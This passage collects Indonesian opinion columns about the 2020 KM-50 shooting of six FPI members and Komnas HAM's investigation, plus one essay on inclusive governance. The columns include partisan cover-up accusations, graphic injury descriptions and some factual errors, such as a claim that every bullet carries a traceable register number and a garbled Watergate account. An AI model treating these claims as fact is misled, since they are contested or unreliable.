proyektil, yang Komnas gambarkan ditemukan “d ititik” yang berbeda, menunjuk sekali lagi, mobil yang berbeda? Sesulitkah apakah Komnas menganalisisnya? Mengapa Komnas HAM menjauh dari mengatakan fakta itu secara terbuka? Singkirkan dulu kecurigaan, seringan apapun kepada Komnas HAM. Sebab Komnas HAM harus dituntun dengan pertanyaan-pertanyaan yang sederhana, detail dan logis secara teknis hukum. Menembak pakai senjata apa? Laras panjang? Atas laras pendek? Kalau empat almarhum hendak merebut senjata petugas dan mencekik petugas, bagaimana menerangkan terjadinya tembak menembak itu. Berusaha merebut senjata, pasti tidak sama dengan telah merebut senjata. Tidak sama juga dengan senjata telah berada dalam penguasaan keempat almarhum itu. Apa logis tangan almarhum tak di borgol? Masuk akalkah mereka tak diborgol tangannya? Kalau di borgol, maka pertanyaannya adalah bagaimana menerangkan usaha mereka merebut dan mencekik petugas di dalam mobil itu? Berapa petugas yang ada di mobil itu? Apakah hanya dua orang? Andai benar para almarhum berusaha merebut senjata petugas, maka nalarnya mereka, para almarhum di dalam mobil itu tak bersenjata. Wahai Komnas HAM jujurlah. Apakah keempat almarhum mati di dalam mobil atau di tempat lain? Apa yang menghalangi Komnas HAM sehingga tidak mampu untuk berkata terus terang? Pertimbangan teknis? Kalau ya, apa justifikasinya? Kalau ditembak didalam mobil, maka logisnya terdapat bercak-bercak darah dalam mobil? Apa Komnas HAM telah periksa ruang bagian belakang mobil tempat empat almarhum didudukan? Komnas HAM tidak menjelaskannya. Payah. Komnas HAM juga telah memeriksa aparatur Jasa Marga. Mereka diminta keterangan tentang CCTV di Kilometer 50 itu. Di luar mereka, masyarakat umum juga telah dimintai keterangan. Apa yang dimintai dari masyarakat umum? Apakah yang dimintai itu adalah keterangan tentang keadaan di rest area sejak sore hari? Adakah orang-orang bersenjata di tempat itu, di ada sore hari itu juga? Bila ya, siapa mereka dan untuk apa mereka di situ? Apa soal begini diabaikan oleh Komnas HAM? Andai ada orang bersenjata di area itu, apakah mereka sedang melaksanakan pengamanan rute pengangkutan vaksin menuju Bandung? Bila ya, apakah hanya disitu pengamanannya? Bagaimana dengan pengamanan sepanjang tol dari Bandara Soeta hingga ke rest area itu? Apa Komnas HAM menganggap soal ini tidak logis untuk dipertimbangkan? Sayang sekali Komnas HAM tidak mendekat ke metode investigasi khas Mark Fell, Agen FBI yang menginvestigasi kasus skandal Watergate. Cara Felt menangani investigasi ini justru mengurung Richard Nixon. Felt, selalu berbagi informasi dengan dua jurnalis lagendaris, Bob Woodward dan Carl Bernstein, dari Surat Kabar Washington Post. Berbekal informasi dari tangan pertama, Matrk Felt, Bob Wodward dan Carl Bernstein aktif memberitakan temuan investigasi, yang Felt pimpin. Cara ini mengakibatkan semua informasi menjadi terbuka. Nixon, akhirnya kehilangan amunisi politiknya untuk terus bersembunyi, menyangkal kasus keterlibatan Gedung Putih dalam skandal Watergate. Fakta tersaji dari hari ke hari. Terang benderang dan kredibel. Itu menjadi amunisi Komisi Judicial Kongres, yang mulai memprakarsai impeachment kepada Richard Nixon. Mereka terus memberi dukungan pada Archibal Cox, jaksa independen dari Harvard Law Departmen, yang menyelidiki kasus itu. Semakin hari semakin eksplosif. Nixon bereaksi aneh, mendesak Jaksa Agungnya memberhentikan Archibal Cox. Cox terlempar, diganti Leon Jeworsky. Menariknya Leon terus menemukan fakta mematikan. Dan Nixon tak berkutik. Nixon harus mundur dari kepresidenannya. Fakta yang diperoleh dari kombinasi manis antara Felt, dengan Archibal Cox dan Leon Jeworsky, serta Bob Wodward dan Carl Benstein, dua Jurnalis lagendaris itu, mengurung Nixon. Canggih cara kerja mereka. Mungkinkah Komnas HAM mengambil sedikit saja metode Felt? Sekadar sebagai cara meredam diisinformasi, yang Komnas HAM takutkan? Maukah Komnas HAM terbuka soal fakta? Kalau tidak mau, maka Komnas mau kemana? Komnas tidak memiliki kemampuan menghentikan munculnya pertanyaan hipotetik logis atas seluruh aspek dalam kasus ini. Komnas HAM harus tahu itu. * Penulis adalah Pengajar HTN Universitas Khairun Ternate.

Kerja Komnas HAM Sungguh Mengecewakan

by Tony Rosyid Jakarta FNN – Selasa (209/12). Viral di medsos Komisi Nasional Hak Asasi Manusia (Komnas HAM) akan melakukan konferensi pers terkait penembakan 6 (enam) anggota Laskar Front Pembela Islam (FPI) di kilometer 50 Tol Jakarta-Cikampek. Tepatnya hari senen kemarin, 28 Desember 2020 Jam 11.00. Publik menunggu, apa temuan yang akan diungkap oleh Komnas. Penasaran! Dalam kasus penembakan enam anak muda bangsa di kilometer 50 Tol Jakarta-Cikampek tersebut, ditemukan banyak kejanggalan. Simpang-siur informasi dan tanggapan terhadap hasil rekonstruksi. Sehingga menyisakan banyak pertanyaan di masyarakat. Antara foto janazah yang beredar dengan pernyataan sejumlah pihak dianggap oleh publik belum sinkron. Artinya, perlu penjelasan lebih detail. Apakah dua janazah yang ditembak di kilometer 50 itu langsung mati, atau meninggalnya di rumah sakit? Apakah empat jenazah berikutnya yang belum mati di kilometer 50, seluruhnya ditembak di mobil, atau ada yang ditembak di tempat lain? Tembaknya dekat, atau jarak jauh? Menembaknya menggunakan pistol kaliber berapa? Lalu, berapa jumlah seluruh peluru yang ditembakkan? Peluru yang konon katanya tembus kepala dan punggung itu kemudian mengenai sasaran yang lain atau menerpa ruang hampa? Apakah foto-foto janazah yang beredar itu asli, atau editan? Kalau editan, pihak yang mengedit harus dituntut. Kalau asli, bagaimana menjelaskan sejumlah lubang peluru di dada para janazah? Kenapa ada kulit terkelupas? Ada alat vital janazah yang melepuh. Apakah melepuh sendiri, bekas kejatuhan benda berat, atau ada orang yang membuatnya melepuh? Janazah kenapa harus diotopsi saat keluarganya tidak mengijinkan? Betulkah enam anggota FPI membawa senjata api? Asli, rakitan atau hasil dari merebut punya orang-orang yang berpakaian preman yang ternyata kemudian diketahui adalah aparat polisi? Berapa jumlah senjata itu? Mereka dapat dari mana? Apakah senjata itu sudah ada yang digunakan untuk menembak? Kalau sudah, mengenai sasaran apa saja? Soal sejumlah CCTV yang semula diklaim rusak, berikutnya diakui oleh PT. Jasa Marga tidak rusak. Hanya saja nggak bisa kirim rekaman. Sekarang Komnas HAM memberi informasi ada ratusan potongan rekaman (10 menitan) dari empat CCTV yang terpasang di KM 48-51. Kenapa harus dipotong? Kenapa hanya sampai KM 51? Bukankah di KM 52+200 itu menurut rekonstruksi ada peristiwa penting? Banyak pertanyaan-pertanyaan yang masih menggantung. Publik berharap dapat penjelasan dari temuan Komnas HAM. Namun setelah sekian hari menunggu, Komnas HAM pun menggelar konferensi pers. Apa yang dilaporkan? Beberapa proyektil dan bangkai mobil, bekas tembakan. Kalau hanya sekedar ingin menyampaikan informasi itu, tidak perlulah konferensi pers segala. Habiskan waktu dan tenaga awak media saja. Heboh kali rasanya mengumumkan konfrensi pers Senin kemarin (28/12). Sudah tiga minggu kerjanya, tak signifikan progresnya. Biasa-biasa saja. Datar-datar saja. Apatisme publik terhadap Komnas HAM terjawab sudah. Dan memang selama ini, tak banyak kasus HAM yang bisa dituntaskan oleh Komnas HAM. Apatisme inilah yang membuat publik dari awal mendorong kasus ini dituntaskan oleh Tim Pencari Fakta (TPF) Independen. Sayangnya, presiden menolak dibentuknya TPF Independen. Ada Komnas, kenapa bikin TPF? Karena kerja Komnas dianggap tak meyakinkan. Bahkan meragukan. Makanya, perlu membuat TPF. Kalau Komnas HAM bisa dipercaya, penemuannya obyektif dan rekomendasinya bisa dituntaskan, untuk apa publik mendesak dibentuknya TPF Independen. Sampai disini, anda pasti mulai paham. So? Ada dua alternatif. Pertama, masyarakat bentuk sendiri TPF Independen. Sepeti dulu masyarakat melalui Lembaga Bantuan Hukum (LBH) membentuk sendiri TPF untuk kasus kematian Marsinah. TPF bentukan masyarakat ini tidak diakui pemerintah. Tentara masih sangat kuat dan perkasa di kekuasaan. Komanas HAM juga belum ada waktu itu. Jalan juga kerja TPF untuk kasus Mersinah. Hasilnya sangat menggembirakan masyarakat sipil. Banyak tokoh di luar pemerintahan yang punya pengalaman, mumpuni dan berintegritas untuk bekerja sebagai anggota TPF Independen. Ada Busro Muqaddas (Muhammadiyah), Bambang Wijayanto (Mantan Komisioner KPK), Komjen (Purn polisi) Oegroseno, Abdullah Hehamahua, Natalius Pigai, Zaenal Arifin Muchtar (UGM), Piere Suteki (Undip), Azumardi Azra (Agamawan dari UIN Jakarta), Haris Azhar (advokat) dan lain-lain yang bisa dipanggil untuk menjalankan TPF Independen ini. Kedua, jika tak tuntas, dan biasanya kasus-kasus seperti ini memang tak tuntas, maka tragedi ini segera menguap dan hanya akan menjadi memori memilukan bagi bangsa ini di masa depan. Tapi, publik tak akan pernah lupa ingatan bahwa ada enam generasi muda bangsa yang ditembak mati di Kilometer 50 dengan penanganan yang tak mencapai ujung. Penulis adalah Pengamat Politik dan Pemerhati Bangsa.

Antara Mempercayai dan Meragukan Komnas HAM

by M Rizal Fadillah Bandung FNN – Selasa (29/12). Tuntutan obyektivitas penyelidikan kebenaran peristiwa "Kilometer 50" tol Jakarta-Cikampek adalah melalui Tim Pencari Fakta Independen. Semua pihak dapat menerima hasil penyelidikannya berdasarkan "independensi" kerjanya. Akan tetapi tuntutan atau usulan pembentukan ini ditolak oleh Pemerintah. Akhirnya apa boleh buat. Tragedi penembakan polisi terhadap 6 (enam) anggota Laskar Front Pembela Islam (FPI) yang mengawal keluarga Habib Rizieq Shihab (HRS) tersebut, sejauh ini hanya ada dua lembaga yang melakukan penyelidikan, yaitu Bareksrim Polri sendiri dan Komisi Nasional Hak Asasi Manusia (Komnas HAM). Penolakan Pemerintah atas pembentukan tim independen ini membuat wajar jika publik memiliki penilaian awal meragukan akan kerja baik Bareskrim Mabes Polri maupun Komnas HAM. Mengingat Polri menjadi pihak yang terlibat, maka menjadi wajar bila objektivitasnya diragukan. Mabes Polri sulit untuk mendapat tempat utama dalam kepercayaan mengenai kasus ini. Tidak ada pilihan lain. Komnas HAM terpaksa harus dipercaya untuk melakukan penyelidikan di bawah pantauan publik yang sangat "terbatas". Namun setelah kurang lebih tiga minggu bekerja tanpa sinyal hasil, maka anggota DPR Fadli Zon mempertanyakan hasil kerja penyelidikan Komnas HAM melalui ungkapan di berbagai media. Dampaknya, pada hari Senin 27 Desember 2020 Komnas HAM melakukan konperensi pers tentang langkah dan hasil kerja penyelidikannya. Harapan ada temuan penting yang perlu diketahui masyarakat ternyata belum kesampaian. Komnas HAM menyatakan belum selesai menunaikan tugasnya. Publik masih harus menunggu beberapa waktu lagi. Komnas HAM menunjukan proyektil dan selongsong peluru yang ditemukan. Lalu pecahan mobil yang juga didapat. Menurut pengamatan beberapa kalangan, penunjukkan bukti ini sebagai kecerdikan Komnas HAM untuk mengamankan bukti-bukti yang ditemukan di lapangan. Cara mengamankan itu melalui keterlibatan publik dalam menjaganya. Meskipun demikian, jika konperensi pers ini hanya sekedar memperlihatkan temuan tersebut, sebenarnya terlalu teknis dan sederhana atas alat bukti yang masih interpretatif itu. Masyarakat tentu saja berharap informasi awal yang disampaikan Komnas HAM Senin kemarin (28/12) lebih dari itu. Informasi yang ditunggu bersifat fundamental, dan mudah untuk didapat cepat dari kerja Komnas HAM. Dua hal terpenting yang semestinya terungkap dari Komnas HAM. Pertama, Komnas HAM menyatakan bahwa timnya telah mengetahui siapa penembak keenam anggota Laskar FPI pengawal HRS tersebut. Apakah benar anggota Poldda Metro Jaya, atau pihak lain di luar kepolisian. Lebih hebat lagi jika identitas pelaku penembakan diumumkan. Kedua, berdasarkan kondisi jenazah, maka Komnas HAM menyampaikan bahwa disamping penembakan juga ada atau tidaknya penyiksaan terhadap korban. Komnas HAM mampu menjelaskan arti lebam-lebam, atau luka melepuh atau kulit yang mengelupas pada tubuh korban. Pengumuman awal seperti inilah yang dibutuhkan dan perlu diamankan dalam pengawasan publik yang sangat "terbatas". Masyarakat tentu saja memiliki keterbatasan untuk membantu kerja Komnas HAM dalam melakukan pengawan. Untuk itu, Komnas HAM harusnya melibatkan masyarakat dalam mengamankan barang bukti yang di dapat dalam penyelidikan. Mengingat belum ada hal penting yang dapat ditangkap publik tentang kerja Komnas HAM, maka posisinya saat ini Komnas HAM masih dalam bacaan antara diragukan atau dapat dipercaya. Wajar diragukan karena saat mempublikasikan bersama Polisi tentang temuan "revolver" yang menjadi bukti penembakan begitu yakin dengan detail penjelasan Kepolisian. Begitu juga dengan bantahan keras bahwa Komnas HAM telah menemukan rumah tempat yang diduga terjadinya penembakan atau penyiksaan. Meskipun demikian, publik masih akan menunggu finalnya hasil kerja Komnas HAM. Adanya suara yang mendorong keterlibatan lembaga internasional dalam penyelidikan kasus ini adalah bukti bahwa kerja Komnas HAM diragukan obyektivitasnya. Dengan duka dan keprihatinan mendalam atas peristiwa yang menyakitkan ini, akhirnya kita berdiam "wait and see" dalam ketertutupan dan gelapnya malam. Lokasi Kilometer 50 pun telah dihancurkan. Kini lokasi itu terbebas dari penghuni orang-orang yang biasa ramai melayani mereka yang berhenti untuk beristirahat. Suasana lingkungan kini kusam dan muram. Tetap berdoa semoga Komnas HAM dapat menjawab keraguan dengan hasil yang terang benderang. Berdoa agar anggota Komnas HAM terbebas dari status terperiksa di hari akhir, dan mendapat hukuman dari Allah SWT yang Maha Melihat dan Mendengar. Alangkah ruginya jika menjadi unsur tak terlibat dalam perbuatan ini, tetapi ikut terhukum karena menyembunyikan kebenaran. Sebaliknya, pahala besar akan diberikan Allah SWT bagi mereka yang berlaku jujur dan memberi manfaat besar bagi kehidupan orang banyak. Penulis adalah Pemerhati Politik dan Kebangsaan.

Inklusif, Mencegah Negara Seperti Kapal Menuju Karam

Catatan Akhir Tahun dan Harapan 2021 Untuk Indonesia by Ikhsan Tualeka Ambon FNN – Selasa (29/12). Ada banyak tuntutan, ataupun gugatan yang dapat diajukan dalam melihat realitas berbangsa dan bernegara hari ini. Apa yang belakangan ini mengemuka di Papua, dan juga di Maluku menunjukan adanya kekecewaan politik di kedua daerah ini. Kekecewaan yang mesti dikelola dengan lebih arif dan responsif. Perspektif berkebangsaan yang hidup dalam setiap kepala generasi hari ini, mesti dapat disikapi dengan proporsional dan objektif. Karena semua itu terjadi tidak dengan serta-merta. Namun lahir dan tumbuh dari berbagai anomali dan ketimpangan yang terus terjadi. Dalam keadaan yang penuh ketidakpastian itu, memaksa untuk mengatakan bahwa situasi seolah-olah ada pada posisi normal atau on the right track adalah sikap tidak bijak. Apalagi dengan cara menindas, dan menggunakan kekerasan. Praktik ketidakadilan dan diskriminasi, serta minus kepekaan sosial dari elit penguasa harus segera dihentikan. Formula baru harus dirumuskan. Memahami gerakan protes yang saat ini tengah berkembang dan mengemuka dikawasan timur Indonesia, baik itu melalui gerakan politik bersenjata di Papua, maupun ekspresi politik menuntut dikembalikannya kedaulatan versi proklamasi tahun 1950 di Maluku, harus bisa dibaca sebagai interupsi level tinggi. Pasti ada yang kurang tepat dalam pengelolaan negara sejauh ini. Untuk itu, guna menjamin integrasi nasional dalam rentang waktu yang panjang, negara harus lebih inklusif. Yakni menempatkan negara ke dalam cara pandang orang atau kelompok lain untuk melihat dunia atau realitas. Dengan kata lain, negara mesti berusaha menggunakan sudut pandang orang atau kelompok lain dalam memahami masalah kekinian. Itu artinya, cara pandang atau perspektif yang sejauh ini mewakili aspirasi politik dan kepentingan ekonomi masyarakat, khususnya yang mengemuka di Papua dan Maluku harus ditanggapi dengan sikap inklusif oleh negara. Perspektif ini meminjam Daron Acemoglu dan James Robinson yang diungkap dalam buku ‘Mengapa Negara Gagal’. Menurut mereka, kegagalan sebuah bangsa menjadi maju dan berkembang karena absennya sistem ekonomi-politik yang inklusif. Tanpa inklusivisme, mustahil sebuah bangsa bisa beradaptasi, berinovasi menuju masyarakat yang egaliter. Dengan demikian negara dan pemerintah harus lebih cermat membaca situasi dan keinginan ekonomi-politik yang mengemuka. Tidak saja sebagai akibat perubahan global. Namun juga terkait dengan akumulasi kegagalan negara selama ini. Responsif dengan cara inklusif akan dapat mencegah reaksi publik yang kecewa terhadap pengelolaan negara yang tidak menghadirkan keadilan untuk semua. Inklusif dengan lebih memahami kepentingan dan kebutuhan daerah, terutama di kawasan timur yang tertinggal memang sulit terjadi atau dirumuskan dalam keadaan nagara. Penyebabnya karena tengah dipasung oleh oligarki. Bagi sebagian elit oligakri, mengumpulkan kekayaan adalah agenda utama dan jauh lebih penting ketimbang memikirkan integrasi nasional. Acemoglu dan Robinson menegaskan dalam buku mereka itu, sistem yang dikuasai tata kelola negara oleh segilintir elit, hanya akan membawa bangsa tersebut semakin terpuruk. Bang itu bahkan tidak kompetitif, dan menjadi bangsa yang gagal. Situasi yang saya lihat mulai menghinggapi bangsa ini. Masih menurut kedua ilmuan itu. Dengan gagalnya transformasi sistem ekonomi-politik yang inklusif, maka negara tersebut akan bergelimang dengan kemiskinan, ketimpangan sosial dan kekacauan politik. Seperti halnya situasi yang dialami oleh Korea Utara, Uganda dan Sierra Leon. Untuk menjadi inklusif, antara lain tata-kelola negara yang sangat Jawa sentris harus dapat dievaluasi. Termasuk di dalamnya bandul ekonomi-politik yang hanya pro pada segelintir orang. Itu artinya institusi ekonomi juga mesti dapat segera direkontruksi. Itu pasalnya, karena institusi ekonomi yang tidak inklusif, hanya akan menjadikan kelompok yang lemah semakin teralinasi atau terpinggirkan. Yang kaya semakin kaya. Itu artinya yang miskin semakin melarat atau setidaknya sulit untuk berkembang. Sistem ekonomi liberal kapitalis yang diadopsi mentah-mentah oleh Indonesia ternyata telah gagal total. Gagal untuk menjadi formula mensejahterakan sebagian besar rakyat. Alih-alih sejahtera, kemiskinan dan ketimpangan sosial justru kian lebar dan massif. Ketidakadilan semakin susah ditemukan. Sistem politik demikian pula adanya. Korupsi merajalela di semua level pemerintahan. Birokrasi yang tidak produktif. Krisis pelayanan publik merata dan telanjang mata. Sistem politik yang dianggap demokratis, tetapi dalam praktiknya sangat eksklusif. Bahkan hanya sekadar menjadi alat melegitimasi kekuasan hasil “dagang sapi” partai politik dan juga politisi busuk. Pada intinya, sistem ekonomi yang memungkinkan kekayaan negara yang dikuasai segelintir orang atau oligarki, serta sistem politik yang hanya menjadi mekanisme demokrasi yang prosedural untuk menegaskan kepemimpinan kompatriot oligakri dan dinasti politik dari pusat hingga daerah. Ini adalah potret sesungguhnya bahwa kapal besar Indonesia sedang berlayar menunju karam. Jika tidak segera berbenah, antara lain dengan mengakomudir berbagai tuntutan, terutama yang masih masuk dalam koridor konstisusi, seperti tuntutan Otonomi Khusus atau perlakuan khusus lainnya bagi Maluku Raya, sangat mungkin perlawanan politik akan makin mengemuka. Bila itu yang terjadi, dan ditambah pergolakan politik di Papua yang tensinya semakin tinggi, negara sejatinya sedang menuju fase gagal atau bubar. Penulis adalah Direktur Maluku Crisis Center (MCC).

Ketika Jenazah 6 Laskar FPI Bicara (2)

By Mochamad Toha Surabaya FNN - Selasa (29/12). Tragedi yang menimpa 6 Laskar FPI hingga tewas akibat ditembak polisi itu bermula ketika rombongan Habib Rizieq Shihab (HRS) keluar dari Perumahan The Nature Mutiara, Sentul, Kabupaten Bogor, Jawa Barat, Minggu malam (6/12/2020). Sekretaris Umum FPI Munarman mengungkapkan, rombongan HRS kemudian masuk ke Tol Jagorawi ke arah Jakarta. Lalu via jalan Tol Lingkar Luar Cikunir ambil arah Tol Cikampek, menuju pengajian keluarga sekaligus peristirahatan dan pemulihan kesehatan di Karawang. Rombongan HRS terdiri 8 mobil; 4 mobil keluarga HRS, 4 mobil Laskar FPI sebagai tim pengawal. Rombongan keluarga terdiri dari HRS dan menantu serta 1 orang ustadz keluarga dan 3 orang sopir. Kemudian ada perempuan dan anak-anak, 12 wanita dewasa, 3 bayi dan 6 balita.Sementara, Laskar FPI terdiri dari 24 orang dalam 4 mobil, tiap mobilnya 6 orang laskar termasuk sopir. Semenjak keluar dari perumahan The Nature Mutiara Sentul, rombongan diikuti oleh mobil Avanza hitam Nopol B 1739 PWQ dan Avanza Silver Nopol B~~~KJD, serta beberapa mobil lainnya. Selama perjalanan di tol, ada upaya-upaya dari beberapa mobil yang ingin mepet dan masuk ke dalam konvoi rombongan HRS. Setelah Pintu Keluar Tol Karawang Timur, ada 3 mobil penguntit berusaha masuk ke dalam konvoi. Tiga mobil penguntit itu adalah: Avanza Hitam B 1739 PWQ, Avanza Silver B~~~ KJD dan Avanza Putih K~~~EL. Ada dua mobil dari pengikut HRS berada di belakang, mereka menjauhkan mobil penguntit dari mobil HRS.Salah satu dari dua mobil pengikut HRS adalah mobil Chevrolet warna hijau metalik bernomor polisi B 2152 TBN, berisi 6 laskar khusus. Setelah rombongan keluar pintu Tol Karawang Timur, salah satu mobil laskar pengawal, yaitu Avanza, sempat dipepet. Namun, berhasil lolos dan menuju arah Pintu Tol Karawang Barat. Lalu masuk ke tol arah Cikampek dan beristirahat di Rest Area KM 57. Sedangkan mobil laskar khusus DKI (Chevrolet B 2152 TBN), saat mengarah ke pintu Tol Karawang Barat berdasarkan komunikasi terakhir, dikepung oleh 3 mobil pengintai kemudian diserang. Ketika itu, salah seorang laskar yang berada di mobil Avanza yang tengah beristirahat di KM 57, terus berkomunikasi dengan Sufyan alias Bang Ambon, laskar yang berada dalam mobil Chevrolet B 2152 TBN. Telepon ketika itu terus tersambung. Informasi dari laskar yang berada di mobil Chevrolet melalui sambungan telepon bahwa saat Chevrolet B 2152 TBN itu dikepung, Sufyan alias Bang Ambon mengatakan, “Tembak Sini, Tembak” mengisyaratkan ada yang mengarahkan senjata kepadanya. Dan, setelah itu terdengar suara rintihan laskar yang kesakitan seperti tertembak ini, laskar Sufyan alias Bang Ambon meminta laskar lain untuk terus berjalan. Begitu pula saat laskar Faiz, dihubungi oleh salah satu laskar yang ikut di rombongan HRS, nampak ada suara orang yang kesakitan seperti setelah tertembak. Dan, seketika itu telepon juga terputus. Kabar 6 orang laskar yang ada dalam mobil Chevrolet sampai Senin siang (7/12/2020) tidak dapat dihubungi dan tidak diketahui keberadaannya. Ketika laskar yang menggunakan mobil Avanza istirahat di KM 57, nampak juga ada yang memantaunya, bahkan ada drone yang diterbangkan. Setelah 1 jam lebih di KM 57, mereka beranjak menuju markas FPI Karawang melalui akses pintu Tol Karawang Barat. Ketika memasuki pintu Tol Karawang Barat, tim laskar yang menggunakan Avanza tidak menemukan apa pun di lokasi yang diperkirakan sebagai TKP serangan terhadap rombongan laskar Chevrolet B 2152 TBN. FPI masih mencari keberadaan 6 Laskar tersebut di berbagai rumah sakit dan tempat-tempat lainnya. Sampai saat itu, mereka belum mengetahui keadaan dan keberadaan 6 laskar FPI itu. Ketika Kapolda Metro Jaya Irjen Fadil Imran mengatakan bahwa 6 laskar FPI ditembak mati, ini barulah diketahui kondisi ke-6 orang laskar yang ada dalam mobil Chevrolet sudah dalam keadaan tewas dengan banyak luka tembak dan penganiayaan. Jenazah Bicara Jasad mereka pun bicara! Sebanyak 19 lubang luka tembak ada di tubuh mereka. Fakta hasil otopsi RS Polri ini jelas berbeda sekali dengan temuan Komnas HAM. Hasil pemeriksaan di lapangan “ditemukan tujuh proyektil dan empat selongsong”. “Kami berjanji akan menggelar uji balistik secara terbuka dan transparan,” kata Komisioner Komnas HAM Choirul Anam. Dari hasil pemeriksaan lapangan ada tujuh proyektil. “Namun yang kami yakin hanya enam, karena satu bentuknya sudah tidak jelas,” katanya. Pertanyaannya, mengapa Komnas HAM begitu yakin hanya 6 proyektil karena 1 bentuknya sudah tidak jelas? Tidak jelas bagaimana yang dimaksud? Karena secara fisik, mustahil jika proyektil itu “bentuknya sudah tidak jelas” setelah ditembakkan ke tubuh korban. Di sini Komnas HAM tampak sekali berusaha menutupi fakta sebenarnya yang dialami para korban. Anggaplah satu proyektil itu bukan penyebab kematian laskar FPI, berarti ada 13 proyektil lagi yang “hilang” entah di mana keberadaannya. Karena dari hasil otopsi di RS Polri sendiri sudah jelas, terdapat 19 lubang luka tembak di semua tubuh korban. Termasuk bekas penganiayaan yang dialaminya setelah “ditangkap” aparat kepolisian yang menguntit mereka. Coba simak tubuh mereka yang bicara fakta: 1. Andi Oktiawan (33 tahun): Bengkak dan lebam pipi bagian kiri, luka tembak di mata kiri, tiga luka tembakdi dada bagian kiri, kulit bagian belakang melepuh, lecet di bagian kepala sekitar 5 cm, dan kulit bagian pantan melepuh. 2. Faiz Ahmad Syukur (22 tahun): Lebam di bagian kening, dua luka tembak di dada kiri (satu di atas puting, satu di bawah puting), jahitan di bagian leher. 3. Muhammad Reza (20 tahun): Pipi dan kening bengkak lebam dan menghitam, tangan kiri melepuh, darah masih keluar dari bekas luka bagian belakang, kemaluan bengkak dan melepuh. 4. Lutfi Hakim (25 tahun): Hampir semua kulit belakang melepuh, empat luka tembak yang berdekatan di dada kiri, bekas lubang menghitam. 5. Ahmad Sofiyan alias Ambon (26 tahun): Dua luka tembak di dada kiri. 6. Muhammad Suci Khadavi (21 tahun): Lebam mata kiri dan tiga luka tembak (satu di atas puting, dua di bawah puting). Seperti dikutip TEMPO (Edisi 14-20 Desember 2020), menurut Ade Firmansyah, dokter ahli forensik RSCM Jakarta, salah satu ciri luka tembak jarak dekat ialah Tanda berwarna hitam pada bagian tubuh. Luka itu terbentuk karena mesiu yang menempel di kulit. Apakah semua fakta jasad 6 laskar FPI itu mau diabaikan begitu saja oleh Komnas HAM? Jika Komnas HAM berani, tidak sulit untuk mencari 19 proyektil berikut selongsongnya. Apalagi, luka tembaknya tidak sampai tembus tubuhnya. Dipastikan, semua proyektil tersebut pernah bersarang di tubuh mereka. Komnas HAM bisa tanya ke pihak RS Polri yang mengotopsinya. Langsung tanya saja, di mana proyektil yang lainnya disimpan? Jika hilang, mereka kena pasal penghilangan barang bukti! Di sinilah dibutuhkan kejujuran semua pihak, termasuk RS Polri dan Komnas HAM sendiri. Keberadaan selongsong lainnya, tinggal tanya para eksekutornya, di mana mereka simpan! Karena selongsong itu jatuhnya tidak akan jauh dari penembak! Jika Komnas HAM tidak bisa memaksa temukan kedua barang bukti (seperti proyektil dan selongsong) itu, jangan harap penembakan 6 laskar FPI ini bisa transparan. Karena, dengan kedua jenis barbuk itu bisa mengarahkan siapa penembaknya. Perlu dicatat, dalam setiap proyektil dan selonsong tersebut terdapat nomor register sebagai kode produksinya. Dari sini akan diketahui, peluru ini siapa yang pegang! (*Bersambung*) Penulis adalah Wartawan Senior FNN.co.id

Kalau Komnas HAM Oleng Menghadapi KM-50, Selesailah Semua

by Asyari Usman Medan FNN - Selasa (29/12). Penyelidikan atas pembunuhan 6 anggota FPI oleh Komnas HAM mulai menampakkan titik terang. Kemarin (28/12/2020), Komnas menjelaskan tentang proyektil dan selongsong peluru yang mereka temukan di lokasi peristiwa. Komnas mengatakan, barang bukti ini didapat pada hari peristiwa pembunuhan itu terjadi. Ini artinya Komnas cukup sigap mengirimkan tim penyelidik ke lokasi. Barang bukti berupa proyektil dan selongsong tsb sangat penting. Bisa jadi pelor yang lepas dari selongsong yang ditemukan itulah yang menembus tubuh para korban KM-50. Komnas juga mengatakan mereka sudah memiliki berbagai bukti rekaman wawancara dengan orang-orang dari kedua pihak yang terlibat dalam peristiwa ini. Pembunuhan 6 anggota FPI itu menggemparkan publik Indonesia. Bahkan diberitakan oleh media-media besar di Inggris, Amerika Serikat, Australia, dlsb. Banyak kontroversi dan kejanggalan di seputar peristiwa pembunuhan itu. Semua sepakat bahwa pembunuhan ini paling rendah masuk kategori “extrajudicial killing” (pembunuhan sewenang-wenang) atau “unlawful killing” (pembunuhan tanpa dasar hukum). Inilah kategori minimal untuk tindakan yang menyebabkan 6 nyawa manak-anak muda itu melayang. Publik memperhatikan dengan saksama penjelasan awal Komnas HAM. Sebab, pembunuhan 6 anggota FPI tsb memiliki semua karakteristik pelanggaran HAM berat. Ada tanda-tanda kesadisan, kebrutalan, dan kesewenang-wenangan. Bahkan, seperti ditulis wartawan senior FNN, Mochamad Toha, investigasi majalah TEMPO tentang pembunuhan itu menyiratkan pesan bahwa pembunuhan ini sangat pantas diduga berlangsung dengan satu perencanaan. Penyelidikan atas pembunuhan ini merupakan “the moment of truth” bagi Komnas HAM. Inilah momen untuk mengetahui jatidiri Komnas. Ujian penting bagi Komisi tentang kapasitas, kapabilitas, keberanian dan independensi lembaga penting ini. Publik dengan mudah bisa melihat apakah keempat parameter ini ada pada Komnas. Semua itu akan terbaca ketika para komisioner nantinya harus membuat kesimpulan tentang pembunuhan sewenang-wenang itu. Akankah Komnas berani memaparkan secara transparan dan apa adanya? Atau, akankah Komisi terbawa juga oleh suasana otoritarianisme yang sedang menyungkup bangsa dan negara ini? Fyi, publik masih sangat berharap pada Komnas HAM. Dan, sebetulnya, di lembaga ini pulalah tersandar harapan pertama dan terakhir untuk mengurai peristiwa pembunuhan 6 anggota FPI itu. Kalau Komnas oleng, menghadapi tantangan KM-50, selesailah semua. Ambruklah harapan masyarakat. Sebab, penyelidikan oleh kepolisian tidak akan pernah dipercaya oleh publik. Fyi juga, piblik melihat Komnas HAM persis seperti Komisi Pemberantasan Korupsi (KPK) dulu, KPK pra-Perppu. Dalam arti, untuk pengungkapan tindak kekerasan dan pembunuhan sewenang-wenang oleh siapa pun juga, rakyat masih sangat berharap pada Komnas. Sebagaimana rakyat berharap kasus-kasus korupsi besar bisa diungkap tuntas oleh KPK. Para komisioner Komnas HAM pasti memahami harapan rakyat pada mereka. Semua gerak-gerik Komnas dalam proses penyelidikan ini akan selalu dicermati dan dinilai oleh masyarakat. Terus terang, di balik harapan publik pada Komnas, cukup kuat pula rasa pesimis. Banyak yang apriori. Tapi, apakah harapan itu akhirnya akan pupus? Bisa saja. Anda bisa buka lagi catatan tentang tindakan Komnas dalam menyelidiki sekian banyak pelanggaran HAM semasa pilpres 2019, mulai periode kampanye hingga penyelesaian sengketa. Ada sejumlah orang yang terbunuh dan 